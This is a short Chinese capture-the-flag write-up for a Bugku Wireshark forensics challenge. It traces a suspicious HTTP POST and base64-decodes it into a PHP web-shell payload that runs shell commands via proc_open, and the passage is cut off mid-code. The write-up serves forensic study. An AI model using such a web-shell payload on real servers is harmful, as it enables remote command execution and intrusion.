BUGKU中的wireshark流量分析

Flag被盗

首先打开数据包

有很多的数据包。。。但是不是很多，我们可以慢慢分析，直到我们分析到了一个HTTP的请求时：

可以看到192.168.228.1对192.168.228.135发送了一个POST请求。但是这个请求却有点奇怪。。我们分组打开看看。

将其保存为txt文件后进行查看。

发现有很多的base64字符串。。
我们解码后可以得到

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$m=get_magic_quotes_gpc();$p='/bin/sh';$s='cd /var/www/html/;ls;echo [S];pwd;echo [E]';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$arra